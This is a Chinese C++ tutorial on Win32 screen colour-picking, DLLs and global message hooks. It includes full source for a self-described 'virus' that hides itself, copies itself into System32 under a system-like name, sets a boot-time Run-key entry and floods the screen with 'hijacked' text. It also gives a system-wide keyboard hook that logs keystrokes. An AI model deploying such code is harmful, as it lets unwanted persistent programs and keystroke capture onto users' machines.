C++进阶

API及类型

HANDLE类型 ->进程句柄
HWND 类型 ->窗口句柄句柄
CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID)可以获取系统中正在运行的进程信息,线程信息
Process32Next()下一个进程的句柄。
VirtualAllocEx ()在指定进程的虚拟空间保留或提交内存区域,除非指定MEM_RESET参数,否则将该内存区域置0。
SuspendThread()挂起线程

视觉

什么是C++视觉?利用机器识别一张图片,可用作于游戏脚本(按键精灵类似)
既然是视觉,那么就是电脑上的显存数据(显卡设备)

windows的显存数据,都保存在一个叫做HDC的上下文的句柄中
我们要取到颜色值,首先要获取显存数据,然后根据显存指针得到你想要的点的颜色值

HDC myDc = GetDC();需要一个窗口句柄

GetDC();获取某一个窗口的HDC。参数窗口句柄如果穿0那么就是获取桌面

获取鼠标位置

DWORD pos;
GetCursorPos(&pos) 获取鼠标位置

获取指定位置颜色获取的是BRG 不是RGB我们需要转换

HDC dc设备 = GetDC(0); //获取桌面的DC

int BGR = GetPixel(dc设备,100,100); //获取桌面位置在100,100的颜色值

解析获得的BGR

例如我们获得的BGR是6531137这个值转为二进制011000111010100001000001
我们以8位数为一个单位

B G R
01100011 10101000 01000001

按照这个规律我们往数据的左侧填充2 * 8 单位的0是不是就是BGR中的B
也就是说BGR往右移16就是B => BGR>>16

NULL NULL B
00000000 00000000 01100011

继续我们获得BGR中的G
按照这个规律我们往数据的左侧填充 8 单位的0
也就是说BGR往右移8就是 => BGR>>8

NULL B G
00000000 01100011 10101000

然后我们在进行二进制的位运算(&) BGR>>8 & 0xff0XFF在二进制中是11111111

NULL B G
00000000 01100011 10101000
00000000 00000000 11111111

&运算同为1则结果为1,不相同则为0,这样我们就得到了R

获取R,这个就很简单了,我们直接进行位运算(&)0XFF就是最后的R了

实战视觉 - 取色器

#include 
#include 
using namespace std;


int main()
{
    /*
        用户按下ctrl  就获取鼠标当前位置的颜色;
    */
    HDC dc设备 = GetDC(0);
    int beforeX= NULL, beforeY = NULL;
    while (true)
    {
        if (-32767 == GetAsyncKeyState(VK_CONTROL))
        {//然后我们获取鼠标的位置
            POINT pos;
            GetCursorPos(&pos);
            if (pos.x - beforeX || pos.y - beforeY )
            {//必须保证鼠标和上次的坐标不一致,这样可以避免重复取色
                int resut = GetPixel(dc设备, pos.x, pos.y);
                cout << endl;
                cout << "十进制颜色"
                    << resut
                    <> 8 & 0xFF)
                    << "  B:"
                    << (resut >> 16)
                    << endl;
                beforeX = pos.x;
                beforeY = pos.y;
            }
        }

    }

    system("pause");
    return 0;
}

查找某个窗口的句柄

FindWindow(LPCSTR lpClassName ,LPCSTR lpWindowName)
lpClassName->窗口类名、lpWindowName->窗口名字
返回一个HWND值

做一个视觉上的"病毒"程序

先上效果图


image.png

无法关闭,开机自启动,伪装成系统文件

#include 
#include 
#include 
#pragma warning(disable:4996)//忽略4996的报错
#pragma comment(linker, "/entry:mainCRTStartup /subsystem:windows")//使窗体不显示出来
using namespace std;

void test()
{
    srand(time(0));
}

int gerRand(int a,int b)
{
    return (rand() % (b - a + 1) + a);
}

int main()
{
    HDC dc = GetDC(0);
    HFONT 字体 = CreateFont(
        25,10,0,0,5,0,0,0,ANSI_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH | FF_SWISS,"微软雅黑"
    );
    SetTextColor(dc,RGB(255,0,0));//设置字体颜色
    SelectObject(dc,字体);
    SetBkMode(dc, TRANSPARENT);//设置背景为透明

    char PATH[MAXBYTE] = {0}; //设置文件的路径
    GetModuleFileName(NULL, PATH,MAXBYTE);//获取文件的名字保存
    PVOID oldValue = 0;
    Wow64DisableWow64FsRedirection(&oldValue);//使用这个函数后可重定向访问到正确的 64 位注册项
    CHAR copy[MAXBYTE] = { 0 }; //把现在的文件路径考到copy字段
    strcat(copy,"copy \"");
    strcat(copy, PATH);
    strcat(copy,"\" \"");
    strcat(copy, "C:\\Windows\\System32\\cmdkey32.exe");
    strcat(copy,"\"");
    /*
        此时的copy的语句是
        copy "debug下的当前程序 c盘/\\Windows\\System32\\cmdkey32.exe"
        就是把程序拷贝到c盘下
    */
    system(copy);//执行cmd命令
    /* 把程序放入开机自动运行的注册表 */
    HKEY Hkey = 0; 
    RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
        0, 0, REG_OPTION_NON_VOLATILE, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL,
        &Hkey, NULL
    );
    RegSetKeyValueA(Hkey,"Mypro",0,REG_SZ, (BYTE *)"C:\\Windows\\System32\\cmdkey32.exe",35);




    while (true)
    {
        ExtTextOut(dc, gerRand(0,1920), gerRand(0, 1080), ETO_CLIPPED, NULL, "你已被劫持,请联系 · 十年之后", 38, 0);
        //绘制出来
        Sleep(20);
    }
    ReleaseDC(0,dc);



    system("pause");
    return 0;
}

DLL

使用vs创建一个空的DLL工程

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:/*被进程加载的时候调用*/
    case DLL_THREAD_ATTACH:/*当进程有新的线程的时候*/
    case DLL_THREAD_DETACH:/**当进程有一个线程被关闭的时候*/
    case DLL_PROCESS_DETACH:/*进程被卸载的时候*/
        break;
    }
    return TRUE;
}

然后编译生成一个DLL,我们在写一个exe程序也就是win32空程序调用刚刚我们写的DLL文件

重点是HMODULE类型 以及调用DLL函数LoadLibrary

exe程序
int main()
{
    HMODULE hmodule = LoadLibrary(你刚刚生成的DLL路径);
    if (!hmodule)
    {
        cout << "DLL加载失败" << endl;
    }
    Sleep(200000);
}

DLL中的变量、函数在其他exe程序中使用

变量调用

DLL
extern "C" int __declspec(dllexport) test = 3124; //定义变量test 
exe
HMODULE hmodule = LoadLibrary(你刚刚生成的DLL路径);
int DLLinBian = *(int *)GetProcAddress(hmodule, "test");//获取值

函数调用

DLL
extern "C" int __declspec(dllexport) addSum(int a ,int b)
{
    return a + b;
}
exe
typedef int*(*MYFn)(int,int);
MYFn DLLFn = (MYFn)GetProcAddress(hmodule, "addSum");
int a = (int)DLLFn(3, 4);

用DLL构建一个系统全局消息钩子

SetWindowsHookEx
钩子(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理Windows消息或特定事件

//DLL
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include 
using namespace std;

/*
    做一个全局的消息钩子函数
*/

/*
    回调函数
    CALLBACK_WH_GETMESSAGE : 处理监听鼠标键盘的回调函数
*/
LRESULT CALLBACK CALLBACK_WH_GETMESSAGE(_In_ int ncode, _In_ WPARAM  wParm,LPARAM lParm) 
{
    cout <<"哈哈"<< endl;
    return CallNextHookEx(NULL, ncode, wParm, lParm);
}

/*
    回调函数
    处理
    WH_CALLWNDPROC :拦截所有的SendMessage处理消息
*/
LRESULT CALLBACK CALLBACK_WH_CALLWNDPROC(_In_ int ncode, _In_ WPARAM  wParm, LPARAM lParm)
{
    return CallNextHookEx(NULL, ncode, wParm, lParm);
}

/*
    回调函数
    处理
    WH_CBTWH_DEBUG :拦截所有窗口事件
*/

LRESULT CALLBACK CALLBACK_WH_CBT(_In_ int ncode, _In_ WPARAM  wParm, LPARAM lParm)
{
    return CallNextHookEx(NULL, ncode, wParm, lParm);
}

/*
    回调函数
    处理
    WH_CBTWH_DEBUG : 拦截钩子(hook)创建的类型
*/
LRESULT CALLBACK CALLBACK_WH_CBTWH_DEBUG(_In_ int ncode, _In_ WPARAM  wParm, LPARAM lParm)
{
    return CallNextHookEx(NULL, ncode, wParm, lParm);
}

/*
    回调函数
    处理
    WH_FOREGROUNDIDLE : 拦截线程休眠,暂停线程的消息
*/
LRESULT CALLBACK CALLBACK_WH_FOREGROUNDIDLE(_In_ int ncode, _In_ WPARAM  wParm, LPARAM lParm)
{
    return CallNextHookEx(NULL, ncode, wParm, lParm);
}
/*
    回调函数
    处理
    WH_MOUSE_LL : 拦截鼠标消息
    可以判断你的鼠标消息是模拟的还是硬件触发的
    比如按键精灵就是模拟的或者mouse_event都是模拟的
*/
LRESULT CALLBACK CALLBACK_WH_MOUSE_LL(_In_ int ncode, _In_ WPARAM  wParm, LPARAM lParm)
{
    if(ncode == HC_ACTION) /*进入钩子必须判断*/
    {
        //return 如果一开始就return掉了  那么 你鼠标移动动不了了
        /*
            像一些大型的游戏他就很有可能在这里做了HOOK
            判断鼠标移动是模拟的之后就直接return掉了
            然后就不会相应你模拟操作的内容
        */

        MOUSEHOOKSTRUCT pMouseHook = *((PMOUSEHOOKSTRUCT)lParm);
        cout << pMouseHook.wHitTestCode << endl;
        if (pMouseHook.wHitTestCode)
        {//当为1时说明是 虚拟模拟的
            //现在游戏可能就是这样屏蔽了你用脚本(按键键盘)屏蔽了
            cout << "你模拟了鼠标操作" << endl;
        }
        else
        {//说明他是用户自己操作了鼠标
            cout << "我监控了你鼠标的记录" << endl;
        }
    }

    return CallNextHookEx(NULL, ncode, wParm, lParm);
}

LRESULT CALLBACK CALLBACK_WH_KEYBOARD_LL(_In_ int ncode, _In_ WPARAM  wParm, LPARAM lParm)
{
    
    if (ncode == HC_ACTION)
    {
        if (WM_KEYDOWN == wParm)
        { //只处理键盘按下
            KBDLLHOOKSTRUCT *KEY = (KBDLLHOOKSTRUCT*)lParm;
            cout << "拦截到你的键盘消息,键盘码:" << KEY->vkCode << endl;
            /*
                这样就监控到你按了什么键盘
            */
            if (KEY->vkCode == 97)
            {//键盘码 - 数字键盘1
                printf("屏蔽小键盘1\n");
                /*
                    这样做 那么你按下数字键盘1  那么就不会打出1来了
                */
                return true;
            }
        }
    }
    //return true;  如果这里直接返回 那么你的任何窗口都打不出字了
    return CallNextHookEx(NULL, ncode, wParm, lParm); //不阻塞他消息运行
}

//导出开始HOOK函数
/*
    hookType :钩子类型
    ID:线程ID
    钩子类型类型
*/
HINSTANCE 句柄 = NULL;
extern "C" _declspec(dllexport)HHOOK StartHook(CHAR hookType, DWORD ID)
{
    HHOOK hok = NULL;
    switch (hookType)
    {
    case 1:
        /*
            拦截键盘鼠标
        */
        hok = SetWindowsHookEx(WH_GETMESSAGE, CALLBACK_WH_GETMESSAGE, 句柄, ID);
        break;
    case 2:
        /*
            拦截键盘
        */
        hok = SetWindowsHookEx(WH_KEYBOARD_LL, CALLBACK_WH_KEYBOARD_LL, 句柄, ID);
        MSG msg;
        while (GetMessage(&msg,NULL,0,0))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
        break;
    case 3:
        /*
            底层拦截鼠标消息
        */
        hok = SetWindowsHookEx(WH_MOUSE_LL, CALLBACK_WH_MOUSE_LL, 句柄, ID);
        MSG msgs;
        while (GetMessage(&msgs, NULL, 0, 0))
        {
            TranslateMessage(&msgs);
            DispatchMessage(&msgs);
        }
        break;
    case 4:

        break;
    case 5:

        break;
    case 6:

        break;
    case 7:

        break;
    case 8:

        break;
    case 9:

        break;
    case 10:

        break;
    case 11:

        break;
    case 12:

        break;
    case 13:

        break;
    default:
        break;
    }
    return hok;
}

extern "C" _declspec(dllexport)BOOL UnHook(HHOOK Hhook)
{
    return UnhookWindowsHookEx(Hhook);
}

//DLL主函数
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:/*被进程加载的时候调用*/
        句柄 = hModule;
        break;
    case DLL_THREAD_ATTACH:/*当进程有新的线程的时候*/
    case DLL_THREAD_DETACH:/**当进程有一个线程被关闭的时候*/
    case DLL_PROCESS_DETACH:/*进程被卸载的时候*/
        break;
    }
    return TRUE;
}
exe
int main()
{
    HMODULE DLL = LoadLibrary(L"E:\\Cdata01\\MYDLL\\Debug\\MYDLL.dll");

    HHOOK(*StartHook)(CHAR, DWORD) = (HHOOK(*)(CHAR, DWORD))GetProcAddress(DLL,"StartHook");
    BOOL(*UnHook)(HHOOK) = (BOOL(*)(HHOOK))GetProcAddress(DLL, "UnHook");
    HHOOK JUB = StartHook(2, 0);
    Sleep(200000);
}

CString转换成 char *

CString strFilePath = _T("测试的");
USES_CONVERSION;
char* p = T2A(strFilePath.GetBuffer(0));
strFilePath.ReleaseBuffer();

你可能感兴趣的:(C++进阶)